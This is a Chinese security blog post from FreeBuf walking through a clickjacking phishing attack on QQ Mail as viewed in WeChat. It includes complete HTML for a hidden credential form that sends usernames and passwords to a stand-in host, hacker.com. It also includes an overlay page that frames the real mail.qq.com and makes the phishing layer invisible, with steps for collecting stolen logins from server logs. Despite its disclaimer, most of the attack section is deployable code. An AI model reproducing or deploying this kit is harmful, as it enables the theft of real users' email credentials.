利用手机微信配合点击劫持漏洞进行钓鱼实验

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

漏洞

利用手机微信配合点击劫持漏洞进行钓鱼实验

2021-07-19 22:03:26

本文由创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

*严正声明：本文仅限于技术讨论与分享，严禁用于非法途径。

前言

钓鱼攻击一般指钓鱼式攻击。钓鱼式攻击是指企图从电子通讯中，通过伪装成信誉卓著的法人媒体以获得如用户名、密码和信用卡明细等个人敏感信息的犯罪诈骗过程。一些网站存在着诸如html注入、xss、点击劫持等漏洞，这些漏洞因没有实质性的危害往往不被人所重视，本次实验就结合这些漏洞来进行一次账号密码恶意钓鱼，由于技术略菜，大佬勿喷。

准备

为了使受害者更加信任，首先需要一个有点击劫持漏洞的网站来配合完成，因为此次实验环境是手机微信的QQ邮箱提醒功能（通过这个功能可直接从手机微信上查看邮件），所以就去找找相关的资产，首先找到的是QQ邮箱官网，发现可直接被iframe标签嵌套进去：

<iframe src="https://mail.qq.com/"></iframe>

1626070292_60ebdd1449826a63c6c6b.png!small?1626070292347

1626070306_60ebdd2225baccd971dd8.png!small?1626070306206

表明可利用于点击劫持，然后继续构造html代码，下一步先需要准备一台vps，并且开启web服务，将写好的点击劫持文件放在web目录。直接上代码：

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title></title>
</head>
<body>
    <div style="width:300px; height:200px;position: absolute;top: 50%;left: 50%;transform: translate(-50%, -50%)">
	<form name="login" action="http://hacker.com/1.html">
       <input style="width: 286px;height:40px;" type="text" name="username"/>
       <br />
       <input style="width: 286px;height:40px;" type="text" name="password"/><br />
       <br />
       <br />
       <br />
       <input style="width: 286px;height:40px;opacity:0.5" type="submit" value=""/>
    </form>
</div>
</body>
</html>

将上述代码保存为login.html文件放在web目录，需要注意的是style需要根据实际情况调整，opacity一会要设置为0，先看下效果：

1626070435_60ebdda34f8d0d77f2729.png!small?1626070435338

OK，钓鱼页面就先构造成这样，然后构造主页面，就是受害者访问所看到的页面，直接上代码：

<html>
<head>
  <title>登陆</title>
</head>
<body>
<iframe src="https://mail.qq.com/" style="width:1440px;height:900px;position:absolute;top:-0px;left:-0px;opacity:1;"></iframe>
<iframe src="http://hacker.com/login.html" style="width:640px;height:640px;position:absolute;top:-0;left:700px;opacity:1;"></iframe>
</body>
</html>

第一个iframe标签里是真正的QQ邮箱页面，第二个是钓鱼页面，将钓鱼页面放在第二个是因为，经测试浏览器会优先加载最后一个iframe标签，第一个只是可以看到不能进行任何操作，现将opacity设置0.5看下效果：

1626070534_60ebde06677b6ff7d9ec9.png!small?1626070534481

将opacity设为0的话，按钮就会彻底透明，点击登陆时会被钓鱼。

代码写的确实不精湛，无所谓，实现功能才是这次的目的，当受害者输入账号密码点击登陆时，其实点击的是我们构造的钓鱼页面，在第一段代码中我们构造了一个登陆get请求表单，当受害者提交登陆请求的时候实际上的操作为/1.html?username=xxx&password=xxx而参数会记录在日志中，这样就可以窃取远程受害者的输入内容：

1626070697_60ebdea92ca19e1eec5a2.png!small?1626070697322